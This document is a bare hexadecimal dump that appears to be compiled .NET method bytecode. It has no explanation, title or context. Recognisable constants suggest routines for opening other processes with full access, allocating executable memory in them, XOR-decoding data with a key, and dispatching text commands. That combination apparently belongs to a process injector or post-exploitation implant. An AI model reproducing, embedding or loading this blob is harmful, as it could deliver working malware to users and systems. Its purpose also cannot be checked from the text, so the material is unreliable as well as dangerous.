A722102007011056F2100000A281C00000A6F0A00000ADE28096F2500000A7215020070282600000A2C17280C0000062D10280900000A72490200706F0A00000A2A096F2700000A0C096F2800000A0BDE301306280900000A72AB020070096F2500000A096F2700000A8C3400000111066F2100000A282900000A6F0A00000ADEBF161307720503007002088C35000001282A00000A1308722703007002088C35000001282A00000A1309280900000A7249030070096F2500000A096F2700000A8C340000011108282900000A6F0A00000A1108181918732B00000A130A0708110A6F2C00000A187E2200000A7E2200000A7E2200000A280B0000061307DE0C110A2C07110A6F2000000ADC110739EE000000280900000A72850300706F0A00000A280900000A72AF03007011081109282A00000A6F0A00000A11081109280D000006280900000A72FB0300701108281C00000A6F0A00000A1108281D00000A280900000A721D040070088C35000001281C00000A6F0A00000A72A6040070282D00000A130B72D4040070130C7E2E00000A72D60400706F2F00000A130D110D2C187230050070110D72380500706F3000000A281C00000A130C0615335E280900000A7250050070110C281C00000A6F0A00000A280900000A7288050070110B281C00000A6F0A00000A280900000A72BE050070110B281C00000A6F0A00000A2A280900000A727706007011078C3C000001281C00000A6F0A00000A2A000128000000002300092C001F2C00000100007400108400302C000001020010012232010C000000009602283100000A2D16280900000A72A106007002281C00000A6F0A00000A2A02280E0000062A1E02280B00000A2A000013300400F3040000080000110272F50600706F3300000A2C4402178D3F00000113231123161F209D11236F3400000A0A7211070070282D00000A0B722707007007281C00000A0C068E6917330708280F0000062A06179A280F0000062A02723B0700706F3300000A2C06285C0000062A02724B0700706F3300000A2C3102178D3F00000113241124161F209D11246F3400000A0D098E6917330B72D404007028630000062A09179A28630000062A0272590700706F3300000A2C2202178D3F00000113251125161F209D11256F3400000A13041104179A285D0000062A0272670700706F3300000A2C2202178D3F00000113261126161F209D11266F3400000A13051105179A28650000062A0272790700706F3300000A2C2202178D3F00000113271127161F209D11276F3400000A13061106179A285B0000062A0272870700706F3300000A2C2202178D3F00000113281128161F209D11286F3400000A13071107179A285F0000062A0272970700706F3300000A2C0628600000062A0272A50700706F3300000A2C0628660000062A0272BD0700706F3300000A2C0628210000062A0272D10700706F3300000A2C0628240000062A0272E10700706F3300000A2C2E02178D3F00000113291129161F209D11296F3400000A13081108179A13091108189A130A1109110A28060000062A0272F90700706F3300000A2C1A02720908007072D40400706F3500000A130B110B28260000062A02721B0800706F3300000A398D00000002722D08007072D40400706F3500000A130C110C72410800706F3300000A2C65110C72470800706F3300000A2C37110C724D08007072D40400706F3500000A130C110C7247080070283600000A130D110D169A130E110D179A130F110E110F28270000062A110C724D08007072D40400706F3500000A130C110C72D404007028270000062A110C28260000062A0272550800706F3300000A398D00000002727108007072D40400706F3500000A1310111072410800706F3300000A2C65111072470800706F3300000A2C371110724D08007072D40400706F3500000A131011107247080070283600000A13111111169A13121111179A131311121113282A0000062A1110724D08007072D40400706F3500000A1310111072D4040070282A0000062A1110282B0000062A02728F0800706F3300000A398D0000000272AB08007072D40400706F3500000A1314111472410800706F3300000A2C65111472470800706F3300000A2C371114724D08007072D40400706F3500000A131411147247080070283600000A13151115169A13161115179A13171116111728680000062A1114724D08007072D40400706F3500000A1314111472D404007028680000062A111428690000062A0272C90800706F3300000A2C2E02178D3F000001132A112A161F209D112A6F3400000A13181118179A13191118189A131A1119111A28090000062A0272E30800706F3300000A2C2602178D3F000001132B112B161F209D112B6F3400000A131B111B179A131C111C28590000062A0272FB0800706F3300000A398200000002178D3F000001132C112C161F209D112C6F3400000A131D111D169A72FB080070282600000A2C16111D179A131E111D189A131F111E111F281D0000062A111D169A7215090070282600000A2C16111D179A1320111D189A132111201121281E0000062A111D169A7231090070282600000A2C1D111D179A13221122281F0000062A280900000A724D0900706F0A00000A2A1E02280B00000A2A0013300A003F000000090000111A0A1201FE15100000021202FE150E00000216283700000A0216283700000A16283700000A160616283700000A16283700000A12011202281A00000626082A0013300600280000000A000011028E698D2A0000010A160B2B1306070207910307038E695D9161D29C0717580B07028E6932E7062A1B300500650100000B000011280900000A726909007002281C00000A6F0A00000A280900000A729D09007003281C00000A6F0A00000A02283800000A0A140B06283900000A036F3A00000A281C0000060B160C72BD090070281B0000060D280900000A72FF0900706F0A00000A20FF0F1F001612037B3700000428130000061304280900000A723B0A007012037C37000004283B00000A281C00000A6F0A00000A11047E2200000A078E6920003000001F4028140000061305280900000A726D0A00706F0A00000A1104110507078E69120228150000062C4B20FB0300001612037B3800000428160000061306110511067E2200000A2817000006261106281800000626280900000A72A30A007012037C37000004283B00000A281C00000A6F0A00000A11042819000006130711072C0F280900000A720F0B00706F0A00000A280900000A724B0B00706F0A00000ADE1F1308280900000A72F700007011086F1600000A281700000A6F0A00000ADE002A000000411C0000000000000000000045010000450100001F0000002C0000011B3005006D0100000C000011280900000A72B30B007002281C00000A6F0A00000A280900000A729D09007003281C00000A6F0A00000A02283C00000A0A06283800000A0B140C07283900000A036F3A00000A281C0000060C160D72BD090070281B0000061304280900000A72FF0900706F0A00000A20FF0F1F001612047B3700000428130000061305280900000A723B0A007012047C37000004283B00000A281C00000A6F0A00000A11057E2200000A088E6920003000001F4028140000061306280900000A726D0A00706F0A00000A1105110608088E69120328150000062C4B20FB0300001612047B3800000428160000061307110611077E2200000A2817000006261107281800000626280900000A72A30A007012047C37000004283B00000A281C00000A6F0A00000A11052819000006130811082C0F280900000A720F0B00706F0A00000A280900000A724B0B00706F0A00000ADE1F1309280900000A72F700007011096F1600000A281700000A6F0A00000ADE002A000000411C000000000000000000004D0100004D0100001F0000002C0000011B300500380100000D000011280900000A72EF0B007002281C00000A6F0A00000A02281E00000A0A160B72BD090070281B0000060C280900000A72FF0900706F0A00000A20FF0F1F001612027B3700000428130000060D280900000A723B0A007012027C37000004283B00000A281C00000A6F0A00000A097E2200000A068E6920003000001F4028140000061304280900000A726D0A00706F0A00000A09110406068E69120128150000062C4B20FB0300001612027B3800000428160000061305110411057E2200000A2817000006261105281800000626280900000A72A30A007012027C37000004283B00000A281C00000A6F0A00000A092819000006130611062C0F280900000A720F0B00706F0A00000A280900000A724B0B00706F0A00000ADE1F1307280900000A72F700007011076F1600000A281700000A6F0A00000ADE002A411C0000000000000000000018010000180100001F0000002C0000011E02280B00000A2A1B300400F80000000E000011733D00000A0A28220000066F3E00000A13092B311209283F00000A0B07721D0C007017284000000A0C08169A6F1600000A0D08179A6F1600000A1304060911046F4100000A1209284200000A2DC6DE0E1209FE160300001B6F2000000ADC280900000A72210C00706F0A00000A72D40400701305161306284300000A13071107130A16130B2B41110A110B9A13080611086F2500000A12056F4400000A2C23280900000A72410C007011086F2500000A1105282A00000A6F0A00000A110617581306110B1758130B110B110A8E6932B711062D0F280900000A72830C00706F0A00000A280900000A72D90C00706F0A00000A284500000A2A01100000020012003E50000E0000000013300400AD1800000F000011734600000A0A06202D0200008D2B0000010B071672F10C0070A20717721B0D0070A2071872430D0070A2071972790D0070A2071A72910D0070A2071B72B90D0070A2071C72E10D0070A2071D720F0E0070A2071E72310E0070A2071F09725F0E0070A2071F0A72A90E0070A2071F0B72D90E0070A2071F0C72FD0E0070A2071F0D721F0F0070A2071F0E72470F0070A2071F0F72990F0070A2071F1072D50F0070A2071F11720B100070A2071F12722D100070A2071F137257100070A2071F14727F100070A2071F1572DD100070A2071F167203110070A2071F177235110070A2071F187251110070A2071F197275110070A2071F1A728D110070A2071F1B72A9110070A2071F1C72C3110070A2071F1D72DD110070A2071F1E72FD110070A2071F1F7217120070A2071F207247120070A2071F217267120070A2071F227287120070A2071F2372B1120070A2071F2472CB120070A2071F2572E7120070A2071F267201130070A2071F277229130070A2071F28724F130070A2071F297271130070A2071F2A7293130070A2071F2B72B7130070A2071F2C72D1130070A2071F2D72FB130070A2071F2E7223140070A2071F2F723F140070A2071F307267140070A2071F31727D140070A2071F32729B140070A2071F3372B9140070A2071F3472E5140070A2071F357201150070A2071F36722B150070A2071F37724F150070A2071F387273150070A2071F39729F150070A2071F3A72D5150070A2071F3B7201160070A2071F3C7227160070A2071F3D723F160070A2071F3E7257160070A2071F3F7271160070A2071F407289160070A2071F4172A1160070A2071F4272C3160070A2071F4372E1160070A2071F447203170070A2071F457227170070A2071F46723D170070A2071F477255170070A2071F487267170070A2071F49728B170070A2071F4A72AD170070A2071F4B72D3170070A2071F4C72F3170070A2071F4D721F180070A2071F4E7241180070A2071F4F7257180070A2071F507289180070A2071F5172A5180070A2071F5272C1180070A2071F5372E3180070A2071F5472FD180070A2071F557211190070A2071F56723B190070A2071F577267190070A2071F587289190070A2071F5972B7190070A2071F5A72E7190070A2071F5B72151A0070A2071F5C723B1A0070A2071F5D725B1A0070A2071F5E72831A0070A2071F5F72A51A0070A2071F6072BD1A0070A2071F6172ED1A0070A2071F62721B1B0070A2071F6372351B0070A2071F64724B1B0070A2071F65725B1B0070A2071F66726D1B0070A2071F6772851B0070A2071F6872A11B0070A2071F6972B51B0070A2071F6A72CD1B0070A2071F6B72EF1B0070A2071F6C72131C0070A2071F6D723B1C0070A2071F6E72611C0070A2071F6F72811C0070A2071F7072A51C0070A2071F7172C31C0070A2071F7272E31C0070A2071F7372FF1C0070A2071F74721D1D0070A2071F7572411D0070A2071F76725D1D0070A2071F7772791D0070A2071F7872991D0070A2071F7972C11D0070A2071F7A72DD1D0070A2071F7B72FD1D0070A2071F7C721F1E0070A2071F7D723F1E0070A2071F7E725F1E0070A2071F7F727D1E0070A2072080000000729D1E0070A207208100000072BB1E0070A207208200000072E71E0070A207208300000072031F0070A2072084000000721B1F0070A207208500000072331F0070A207208600000072491F0070A207208700000072611F0070A2072088000000728F1F0070A207208900000072C31F0070A207208A00000072F71F0070A207208B0000007233200070A207208C000000726F200070A207208D000000728F200070A207208E00000072BF200070A207208F00000072DD200070A207209000000072ED200070A2072091000000720F210070A20720920000007257210070A20720930000007295210070A207209400000072B5210070A207209500000072CD210070A207209600000072E5210070A207209700000072FB210070A20720980000007211220070A20720990000007229220070A207209A0000007243220070A207209B0000007255220070A207209C0000007289220070A207209D00000072BF220070A207209E00000072FB220070A207209F0000007233230070A20720A00000007279230070A20720A100000072B5230070A20720A200000072EB230070A20720A30000007221240070A20720A4000000725D240070A20720A50000007291240070A20720A600000072CB240070A20720A70000007203250070A20720A80000007223250070A20720A9000000723F250070A20720AA0000007285250070A20720AB000000729F250070A20720AC00000072BF250070A20720AD00000072E3250070A20720AE0000007205260070A20720AF0000007221260070A20720B00000007245260070A20720B1000000725F260070A20720B20000007291260070A20720B300000072D5260070A20720B400000072FD260070A20720B50000007231270070A20720B60000007263270070A20720B7000000728D270070A20720B800000072BB270070A20720B900000072E7270070A20720BA0000007217280070A20720BB0000007249280070A20720BC0000007279280070A20720BD000000728F280070A20720BE00000072B5280070A20720BF00000072D7280070A20720C000000072FB280070A20720C10000007223290070A20720C20000007257290070A20720C3000000727F290070A20720C400000072A3290070A20720C500000072C3290070A20720C600000072EB290070A20720C700000072192A0070A20720C800000072372A0070A20720C9000000725B2A0070A20720CA00000072892A0070A20720CB00000072BF2A0070A20720CC00000072ED2A0070A20720CD00000072172B0070A20720CE00000072452B0070A20720CF00000072672B0070A20720D000000072832B0070A20720D100000072A12B0070A20720D200000072BF2B0070A20720D300000072E32B0070A20720D400000072172C0070A20720D500000072372C0070A20720D6000000727B2C0070A20720D700000072972C0070A20720D800000072B32C0070A20720D900000072D32C0070A20720DA00000072FF2C0070A20720DB000000722B2D0070A20720DC000000724B2D0070A20720DD000000726B2D0070A20720DE00000072892D0070A20720DF00000072A92D0070A20720E000000072C92D0070A20720E100000072F32D0070A20720E2000000720B2E0070A20720E300000072292E0070A20720E400000072512E0070A20720E500000072AF2E0070A20720E600000072D52E0070A20720E700000072F52E0070A20720E800000072172F0070A20720E9000000723B2F0070A20720EA00000072692F0070A20720EB00000072A32F0070A20720EC00000072C92F0070A20720ED00000072F52F0070A20720EE000000721F300070A20720EF0000007249300070A20720F00000007273300070A20720F10000007291300070A20720F200000072AF300070A20720F300000072DF300070A20720F40000007215310070A20720F5000000723D310070A20720F6000000727F310070A20720F700000072AD310070A20720F800000072CB310070A20720F900000072E7310070A20720FA000000720D320070A20720FB000000722B320070A20720FC000000724B320070A20720FD0000007267320070A20720FE0000007287320070A20720FF00000072A5320070A207200001000072C5320070A207200101000072FD320070A20720020100007235330070A2072003010000727B330070A2072004010000729B330070A207200501000072B9330070A207200601000072D5330070A207200701000072F3330070A2072008010000721F340070A2072009010000723B340070A207200A0100007265340070A207200B0100007285340070A207200C01000072A9340070A207200D01000072C7340070A207200E0100007225350070A207200F010000725D350070A20720100100007297350070A207201101000072BB350070A207201201000072E5350070A2072013010000720D360070A20720140100007241360070A20720150100007275360070A207201601000072A5360070A207201701000072BF360070A207201801000072F3360070A20720190100007221370070A207201A010000723F370070A207201B0100007259370070A207201C0100007273370070A207201D01000072A7370070A207201E01000072FD370070A207201F010000722B380070A2072020010000724F380070A2072021010000726F380070A2072022010000728B380070A207202301000072B1380070A207202401000072D5380070A207202501000072FD380070A2072026010000722B390070A20720270100007241390070A20720280100007267390070A2072029010000727F390070A207202A01000072AB390070A207202B01000072E7390070A207202C010000721F3A0070A207202D010000724D3A0070A207202E01000072773A0070A207202F010000729D3A0070A207203001000072CD3A0070A207203101000072F93A0070A2072032010000724B3B0070A207203301000072793B0070A207203401000072A13B0070A207203501000072CD3B0070A207203601000072FD3B0070A207203701000072173C0070A207203801000072313C0070A207203901000072693C0070A207203A01000072953C0070A207203B01000072B93C0070A207203C01000072DF3C0070A207203D01000072073D0070A207203E01000072613D0070A207203F01000072A33D0070A207204001000072C33D0070A207204101000072E73D0070A2072042010000720D3E0070A2072043010000722F3E0070A207204401000072593E0070A207204501000072833E0070A207204601000072AD3E0070A207204701000072F13E0070A2072048010000722F3F0070A207204901000072573F0070A207204A01000072893F0070A207204B01000072B93F0070A207204C01000072D53F0070A207204D0100007205400070A207204E0100007235400070A207204F010000728F400070A207205001000072B9400070A207205101000072DF400070A20720520100007207410070A20720530100007237410070A20720540100007261410070A20720550100007283410070A207205601000072A9410070A207205701000072C7410070A207205801000072EB410070A20720590100007213420070A207205A010000723F420070A207205B010000725D420070A207205C010000728B420070A207205D01000072B9420070A207205E01000072D7420070A207205F01000072F5420070A20720600100007215430070A20720610100007231430070A2072062010000724D430070A2072063010000727B430070A2072064010000729D430070A207206501000072C7430070A207206601000072E5430070A2072067010000721D440070A2072068010000724F440070A2072069010000727B440070A207206A01000072AB440070A207206B01000072BD440070A207206C01000072E7440070A207206D0100007213450070A207206E0100007247450070A207206F010000725F450070A20720700100007297450070A207207101000072A7450070A207207201000072D3450070A207207301000072EF450070A2072074010000720D460070A2072075010000723F460070A20720760100007277460070A20720770100007295460070A207207801000072B3460070A207207901000072CF460070A207207A01000072E9460070A207207B0100007209470070A207207C0100007225470070A207207D0100007271470070A207207E010000729D470070A207207F01000072B1470070A207208001000072C5470070A207208101000072DF470070A207208201000072F9470070A2072083010000720F480070A20720840100007227480070A2072085010000723F480070A20720860100007255480070A2072087010000726F480070A20720880100007289480070A207208901000072A1480070A207208A01000072B9480070A207208B01000072D3480070A207208C0100007225490070A207208D0100007245490070A207208E0100007279490070A207208F010000729B490070A207209001000072BB490070A207209101000072DB490070A207209201000072134A0070A207209301000072334A0070A207209401000072574A0070A2072095010000726D4A0070A2072096010000729F4A0070A207209701000072C74A0070A207209801000072FB4A0070A2072099010000721B4B0070A207209A01000072354B0070A207209B01000072714B0070A207209C01000072AF4B0070A207209D010000720D4C0070A207209E01000072414C0070A207209F01000072774C0070A20720A001000072934C0070A20720A101000072B54C0070A20720A201000072D54C0070A20720A301000072F74C0070A20720A401000072174D0070A20720A501000072374D0070A20720A6010000725B4D0070A20720A7010000727B4D0070A20720A8010000729B4D0070A20720A901000072BB4D0070A20720AA01000072D74D0070A20720AB01000072F54D0070A20720AC01000072154E0070A20720AD01000072314E0070A20720AE010000724D4E0070A20720AF01000072674E0070A20720B001000072854E0070A20720B101000072A54E0070A20720B201000072BF4E0070A20720B301000072DB4E0070A20720B401000072FB4E0070A20720B5010000721B4F0070A20720B6010000723D4F0070A20720B701000072634F0070A20720B801000072854F0070A20720B901000072AB4F0070A20720BA01000072C74F0070A20720BB01000072E54F0070A20720BC0100007205500070A20720BD0100007225500070A20720BE0100007245500070A20720BF0100007265500070A20720C0010000728B500070A20720C101000072AB500070A20720C201000072CB500070A20720C301000072EB500070A20720C4010000720B510070A20720C50100007229510070A20720C60100007259510070A20720C70100007283510070A20720C801000072AF510070A20720C901000072CD510070A20720CA01000072E7510070A20720CB0100007201520070A20720CC0100007223520070A20720CD0100007249520070A20720CE010000726D520070A20720CF0100007289520070A20720D001000072A5520070A20720D101000072D3520070A20720D20100007201530070A20720D30100007231530070A20720D4010000724D530070A20720D50100007269530070A20720D60100007281530070A20720D7010000729B530070A20720D801000072B7530070A20720D901000072D3530070A20720DA01000072EF530070A20720DB0100007205540070A20720DC010000722B540070A20720DD0100007251540070A20720DE0100007277540070A20720DF010000728F540070A20720E001000072AB540070A20720E101000072DD540070A20720E20100007219550070A20720E30100007243550070A20720E40100007267550070A20720E50100007281550070A20720E601000072C3550070A20720E701000072EB550070A20720E80100007203560070A20720E9010000721B560070A20720EA0100007247560070A20720EB0100007263560070A20720EC0100007287560070A20720ED01000072A9560070A20720EE01000072C9560070A20720EF01000072E9560070A20720F0010000720B570070A20720F1010000722F570070A20720F20100007255570070A20720F30100007275570070A20720F40100007299570070A20720F501000072C3570070A20720F601000072E9570070A20720F7010000720B580070A20720F8010000722D580070A20720F90100007249580070A20720FA0100007263580070A20720FB010000727D580070A20720FC01000072A3580070A20720FD01000072D1580070A20720FE01000072FF580070A20720FF010000722D590070A20720000200007253590070A2072001020000726F590070A2072002020000728D590070A207200302000072AD590070A207200402000072C9590070A207200502000072F3590070A2072006020000721D5A0070A207200702000072355A0070A207200802000072695A0070A2072009020000728D5A0070A207200A02000072AF5A0070A207200B02000072CF5A0070A207200C02000072ED5A0070A207200D02000072095B0070A207200E02000072215B0070A207200F020000724F5B0070A2072010020000727B5B0070A207201102000072B55B0070A207201202000072DB5B0070A207201302000072055C0070A2072014020000721F5C0070A2072015020000723B5C0070A207201602000072575C0070A207201702000072775C0070A207201802000072915C0070A207201902000072AD5C0070A207201A02000072C75C0070A207201B02000072E55C0070A207201C02000072FF5C0070A207201D02000072215D0070A207201E02000072455D0070A207201F02000072615D0070A207202002000072795D0070A207202102000072935D0070A207202202000072B15D0070A207202302000072CF5D0070A207202402000072015E0070A207202502000072355E0070A207202602000072675E0070A207202702000072955E0070A207202802000072CD5E0070A207202902000072F75E0070A207202A02000072215F0070A207202B02000072555F0070A207202C02000072755F0070A2076F4700000A062A1E02280B00000A2A000000133004006F010000100000117E2E00000A0A06729B5F00706F2F00000A0B0772FD5F00706F3000000A6F1600000A0C0672236000706F2F00000A0D0972AE6000706F3000000A6F1600000A1304096F4800000A0872C46000706F3300000A2C26280900000A72C86000706F0A00000A280900000A72FE6000701104281C00000A6F0A00000A2A280900000A72226100706F0A00000A06729B5F00706F4900000A1305110572FD5F007072C46000701A6F4A00000A11056F4800000A734B00000A130611066F4C00000A726C6100706F4D00000A11066F4C00000A166F4E00000A11066F4C00000A176F4F00000A11066F4C00000A176F5000000A11066F4C00000A176F5100000A11066F4C00000A176F5200000A11066F5300000A2611066F5400000A72A46100706F5500000A11066F5400000A72E86100706F5500000A11066F5400000A72486200706F5500000A11066F5600000A11066F5700000A11066F5800000A280900000A72FE6000701104281C00000A6F0A00000A2A1E02280B00000A2A5E7252620070726262007002281700000A2828000006262A2602032828000006262A1E02280B00000A2A4E027B0C020004046F5900000A6F5A00000A262A0000001B300500D701000011000011730A0100061304280900000A726C62007002281700000A6F0A00000A280900000A728862007003281700000A6F0A00000A280900000A72A86200700272CA62007003285B00000A6F0A00000A734B00000A0A280900000A72CE6200706F0A00000A066F4C00000A026F4D00000A03285C00000A2D0C066F4C00000A036F5D00000A066F4C00000A176F5200000A066F4C00000A176F5E00000A066F4C00000A166F4E00000A066F4C00000A176F5100000A066F4C00000A176F5000000A1104735F00000A7D0C020004061104FE060B010006736000000A6F6100000A140B066F5300000A26066F6200000A066F6300000A6F6400000A0B066F5600000ADE130C280900000A086F2100000A6F0A00000ADE00066F6500000A2D1B280900000A11047B0C0200046F1600000A6F0A00000A3895000000735F00000A0D07285C00000A2D0809076F5A00000A2611047B0C0200046F6600000A2C1F0972D26200706F5A00000A260911047B0C0200046F1600000A6F5A00000A26280900000A1D8D01000001130511051672EA620070A211051702A211051803A211051972F4620070A211051A066F6500000A8C34000001A211051B722C630070A211051C09A21105286700000A6F0A00000A11047B0C0200046F1600000A2A00011000000000DE0021FF00132C0000011E02280B00000A2A1B300B00EC03000012000011280900000A7232630070168D01000001286900000A6F0A00000A280900000A7221640070168D01000001286900000A6F0A00000A178D160000020A281800000A0B280900000A727B640070076F6A00000A281700000A168D01000001286900000A6F0A00000A1472A164007006168F160000027C530000042836000006261202FE15150000021202177D510000041202067D5200000406168F16000002187D54000004076F6B00000A161202088C15000002286C00000A7E2200000A7E2200000A28340000062C07286D00000A2C1F280900000A72CF640070168D01000001286900000A6F0A00000ADD8C000000DE0A072C06076F2000000ADC286E00000A131312137219650070286F00000A0D721D650070097231650070287000000A1304110419161F0A20000800002000080000167E2200000A28300000061305110515737100000A287200000A2C2F280900000A724B650070286D00000A737300000A6F2100000A281700000A168D01000001286900000A6F0A00000A2A16737400000A130614FE062D000006737500000A737600000A13071107176F7700000A1107188D01000001131411141611058C32000001A21114171106A211146F7800000A14FE062C000006737500000A737600000A13081108176F7700000A1108096F7800000A110620E80300006F7900000A39B70100001105283200000639E3010000281800000A6F6B00000A1309280900000A727F65007011098C32000001287A00000A168D01000001286900000A6F0A00000A120AFE151A000002120A110A8C1A000002286C00000A7D6D000004120A7E2200000A7D6E000004120A177D6F000004120B120C120A2000040000283500000626120DFE1518000002120EFE1519000002120E110E8C19000002286C00000A7D5B000004120E110C7D6C000004120E110C7D6B000004120E729F6500707D5D000004120E20010100007D66000004120E167D6700000414130F72BF6500700203282A00000A130F280900000A72CF650070110F281C00000A6F0A00000A110902037E2200000A7E2200000A1720000000087E2200000A7E2200000A120E120D283700000639C9000000280900000A72F5650070120D7B590000048C34000001281C00000A6F0A00000A120D7B57000004283300000626110C28330000062620001000008D2A00000113101613112B2A11118D2A0000011312111011121111287B00000A280900000A287C00000A11126F7D00000A6F0A00000A110B1110200010000012117E2200000A282E0000062DBF110B2833000006262B38280900000A7284660070168D01000001286900000A6F0A00000A11042000000040167E2200000A1920800000007E2200000A282F0000062611052833000006262A0110000002004100AFF0000A000000001B300B001504000013000011280900000A7232630070168D01000001286900000A6F0A00000A280900000A7221640070168D01000001286900000A6F0A00000A72B66600700A020B178D160000020C281800000A0D280900000A727B640070096F6A00000A281700000A168D01000001286900000A6F0A00000A1472A164007008168F160000027C530000042836000006261204FE15150000021204177D510000041204087D5200000408168F16000002187D54000004096F6B00000A16120411048C15000002286C00000A7E2200000A7E2200000A28340000062C07286D00000A2C1F280900000A72CF640070168D01000001286900000A6F0A00000ADD8E000000DE0A092C06096F2000000ADC286E00000A131512157219650070286F00000A1305721D65007011057231650070287000000A1306110619161F0A20000800002000080000167E2200000A28300000061307110715737100000A287200000A2C2F280900000A724B650070286D00000A737300000A6F2100000A281700000A168D01000001286900000A6F0A00000A2A16737400000A130814FE062D000006737500000A737600000A13091109176F7700000A1109188D01000001131611161611078C32000001A21116171108A211166F7800000A14FE062C000006737500000A737600000A130A110A176F7700000A110A11056F7800000A110820E80300006F7900000A39D4010000110728320000063900020000281800000A6F6B00000A130B280900000A727F650070110B8C32000001287A00000A168D01000001286900000A6F0A00000A120CFE151A000002120C110C8C1A000002286C00000A7D6D000004120C7E2200000A7D6E000004120C177D6F000004120D120E120C2000040000283500000626120FFE15180000021210FE1519000002121011108C19000002286C00000A7D5B0000041210110E7D6C0000041210110E7D6B0000041210729F6500707D5D000004121020010100007D660000041210167D67000004141311072C3D0672B66600706F7E00000A2C0C72EE66007007281700000A0B72BF6500700607282A00000A1311280900000A72CF6500701111281C00000A6F0A00000A110B0611117E2200000A7E2200000A1720000000087E2200000A7E2200000A1210120F283700000639C9000000280900000A72F5650070120F7B590000048C34000001281C00000A6F0A00000A120F7B57000004283300000626110E28330000062620001000008D2A00000113121613132B2A11138D2A0000011314111211141113287B00000A280900000A287C00000A11146F7D00000A6F0A00000A110D1112200010000012137E2200000A282E0000062DBF110D2833000006262B38280900000A7284660070168D01000001286900000A6F0A00000A11062000000040167E2200000A1920800000007E2200000A282F0000062611072833000006262A0000000110000002004900B0F9000A000000001B3005006C0000001400001102752B0000010A73400000060B7E2200000A0C0712021C8D2B000001130411041672F6660070A211041706A2110418721A670070A211041906A211041A7220670070A211041B06A21104287F00000A166F4200000626DE130D280900000A096F1600000A6F0A00000ADE002A0110000000001300455800132C00000113300200300000001500001102750400001B0A06169AA5320000010B06179A75550000010C082C13077E2200000A283100000626086F8000000A262A1E02280B00000A2A3A02288100000A0203288200000A2A000330070089000000000000000214FE0645000006734C0000067D7D0000040214FE064600000673500000067D7E0000040220881300007D7F00000402280B00000A027224670070738300000A7D74000004288400000A1E331E02027B740000047E710000047E73000004726E670070171628430000062A02027B740000047E700000047E72000004726E670070171628430000062A0000000B3001001000000000000000022844000006DE0702288500000ADC2A011000000200000008080007000000001B30060024010000160000117E2200000A0A04288600000A0B037E2200000A8132000001288400000A1E332B02284900000602182848000006027288670070288600000A2847000006030405283F0000060A38910000007E2200000A0C088C3200000119288700000A0D1203288800000A130402181A8D3200000113071107168F32000001027288670070288600000A284700000681320000011107178F32000001110481320000011107188F320000010781320000011107198F320000017E2200000A81320000011107284A0000060A031104288900000A8132000001DE081203288A00000ADCDE2426288B00000A1305729C67007011058C34000001287A00000A288C00000A11051306DE1FDE14077E2200000A288D00000A2C0607288E00000ADC1200288F00000A692A11062A01280000020067006DD400080000000000001800C6DE00245C00000102001800EC0401140000000013300500C30000001700001102047D7500000402057D76000004020E047D7C00000402027B7500000419288700000A7D770000041200030E050E0628550000061201FE151F0000021201157D800000041201157D8100000402078C1F00000219288700000A7D7A00000402068C2200000219288700000A7D7B000004020519288700000A7D780000041202027C78000004288800000A027C7B000004288800000A027B7D000004289000000A027B7E000004289000000A285700000602088C2300000219288700000A7D790000042AE2027C77000004288A00000A027C7A000004288A00000A027C7B000004288A00000A027C78000004288A00000A027C79000004288A00000A2A13300100090000001800001102289100000A0A062A1E02288E00000A2A00000013300600EC0000001900001103289200000A0A7E2200000A0B7E2200000A0C027C74000004FE160A0000016F1600000A72D867007006027B7C000004141201283D0000060D092C2172EA6700701203724C680070289300000A281700000A288C00000A7E2200000A2A07289200000A1202283A0000060D1201283C00000626092C2172506800701203724C680070289300000A281700000A288C00000A7E2200000A2A081F0C027B7F0000046E739400000A283E0000060D092C1B72BA6800701203724C680070289300000A281700000A288C00000A72146900701202724C680070289500000A7242690070287000000A288C00000A082A36027B7500000403289600000A2A32027C79000004288800000A2A001B3003002E0000001A0000110419288700000A0A022849000006020328480000061200288800000A283B0000060BDE081200288A00000ADC072A000001100000020008001C240008000000000000004800000000000014003200000008004000460408010000000000001001040006000B0108000C0048000C0008007000100008000000000000480000000000002800320000000800400046040A0100000000000000001001080006000B0110000C004800180008007000200008000000000000000000000000001104020030A000001108255C0000000000000000000000001104020030A000001108255C00000000033003005D000000000000001F388D2A00000125D00D020004289700000A80700000041F3A8D2A00000125D00E020004289700000A80710000041F128D2A00000125D00F020004289700000A80720000041F128D2A00000125D010020004289700000A80730000042A3E02037D8200000402047D830000042A00000013300300AE0000001B00001102D022000002289800000A289900000A7D86000004120004052854000006027C87000004FE1521000002027C87000004037D84000004027C87000004067D85000004120018162854000006027C88000004FE1521000002027C880000047E8F0000047D84000004027C88000004067D85000004027E2200000A7D8900000402167D8A000004027E2200000A7D8B000004027E2200000A7D8C000004027E2200000A7D8D00000402167D8E0000042A000003300B002E0000000000000020045D888A20EB1C000020C9110000209F00000020E80000001E161F2B1F101F481F60739A00000A808F0000042A000003300200CB0000000000000002037D9800000402047D90000004027E2200000A7D9D00000402057D91000004020E047D92000004027E2200000A7D93000004027E2200000A7D94000004027E2200000A7D95000004027E2200000A7D96000004027E2200000A7D9700000402177D990000040220020005007D9A000004027E2200000A7D9B00000402206E0201087D9C000004027E2200000A7D9E000004027E2200000A7D9F0000040217737100000A7DA0000004027E2200000A7DA1000004027E2200000A7DA2000004027E2200000A7DA30000042A001B3004008C0000001C000011028E690B078D280000010C0318731000000A0D1613042B620811040211049A19731000000AA22B080906D26F9B00000A0811049A6F9C00000A250A1533EADE1F1305280900000A72EA62007011056F2100000A281700000A6F0A00000ADE00DE0A0811049A6F1300000ADC0211049A281D00000A1104175813041104073299DE0A092C06096F2000000ADC2A01280000000018002840001F2C000001020018004961000A00000000020013006E81000A000000001B300500D30000001D00001102739D00000A0A280900000A724669007002281700000A6F0A00000A0202289E00000A72D40400706F3500000A0B02289E00000A7268690070281700000A0C0708281700000A0D0708289F00000A130411048E691305280900000A728469007011058C34000001287A00000A6F0A00000A280900000A729C6900700972CA62007002285B00000A6F0A00000A1104022858000006066FA000000A2C15280900000A72C069007009281C00000A6F0A00000ADE1F1306280900000A72EA62007011066F2100000A281700000A6F0A00000ADE002A000110000000000000B3B3001F2C000001133002004C0000001E000011026FA100000A0C160D2B0E08099A0A06285A0000060917580D09088E6932EC026FA200000A13041613052B17110411059A0B0720800000006FA300000A110517581305110511048E6932E12A1B300300420100001F0000110228A400000A0A06283100000A398F0000000673A500000A0B07285A000006061728A600000A280900000A72006A007006281700000A6F0A00000ADD0101000026280900000A72686A007006281700000A6F0A00000ADDE600000026280900000A72D86A007006281700000A6F0A00000ADDCB0000000C280900000A72446B007006281700000A6F0A00000A280900000A086F1600000A6F0A00000ADDA000000006281B00000A398000000006208000000028A700000A06281D